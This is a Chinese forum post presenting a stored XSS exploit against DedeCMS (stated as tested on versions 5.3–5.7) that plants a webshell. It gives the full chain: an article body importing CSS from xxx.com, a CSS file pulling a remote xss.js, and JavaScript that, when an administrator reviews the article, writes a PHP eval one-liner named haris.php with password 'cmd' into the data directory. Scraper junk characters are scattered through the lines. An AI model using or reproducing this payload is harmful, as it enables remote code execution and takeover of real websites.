dedecms xss oday通杀所有版本 可getshell

admin

<DIV id=read_tpc mb10?>漏洞原因：由于编辑器过滤不严，将导致恶意脚本运行。可getshell
为什么说它是ODay呢，能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
% [+ ]) }) s' u  P2 K" v7 c目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
下面说说利用方法。
/ k; G& c  J( B; b, g% {2 a条件有2个：
1.开启注册
- q6 ?) m0 E1 {; O  i9 n2.开启投稿
注册会员----发表文章
' C* Z6 v6 C* I) ?3 D" U内容填写：
复制代码
<style>@im\port'\http://xxx.com/xss.css';</style>
新建XSS.Css
复制代码
.body{
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
$ W% K  ^( k' M6 L/ n新建xss.js 内容为
9 t+ g9 O* A2 P- e1 C复制代码
1.var request = false;
2.if(window.XMLHttpRequest) {
* k( z8 _% W4 L% Y: L" y3.request = new XMLHttpRequest();
# I/ a  u  Q) u7 x$ y8 m3 m9 ?4.if(request.overrideMimeType) {
/ p  N2 }1 P; n  l) c5.request.overrideMimeType('text/xml');
6.}
7.} else if(window.ActiveXObject) {
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
9.for(var i=0; i<versions.length; i++) {
4 S: m1 g( S( w: A10.try {
; h: c: x3 j& A7 t11.request = new ActiveXObject(versions);
( Q* e( Z/ g, ^8 h12.} catch(e) {}
13.}
& O, n3 T/ `2 U/ o1 f14.}
15.xmlhttp=request;
16.function getFolder( url ){
" w( m/ J1 y! G/ U0 l" j0 A17. obj = url.split('/')
( m$ [/ e4 w, I; T$ {; e18. return obj[obj.length-2]
19.}
1 n- p5 s( S1 l* j. B. \' {; ^+ Q6 t20.oUrl = top.location.href;
4 {1 P9 O; I9 E3 c21.u = getFolder(oUrl);
8 W# v& v' L8 L/ i" h6 a22.add_admin();
7 m) x3 }& Y  F5 @2 c9 y23.function add_admin(){
2 s2 U* e5 s5 K; V% l7 H24.var url= "/"+u+"/sys_sql_query.php";
" ~; P( P; {, j: j25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
5 Z3 y/ g8 H+ i+ ~) A) \# Z26.xmlhttp.open("POST", url, true);
. Q, T  C' G" L5 K: F, G5 d27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
3 o# W8 K, ]: @: \# R+ c28.xmlhttp.setRequestHeader("Content-length", params.length);
6 f6 e% d- J3 _: ^29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
- I+ V7 B' n8 m9 u30.xmlhttp.send(params);
' R; p+ T* ^7 e: H( E31.}
0 T8 g" d, P" ~; V4 d当管理员审核这篇文章的时候，将自动在data目录生成一句话haris.php。密码cmd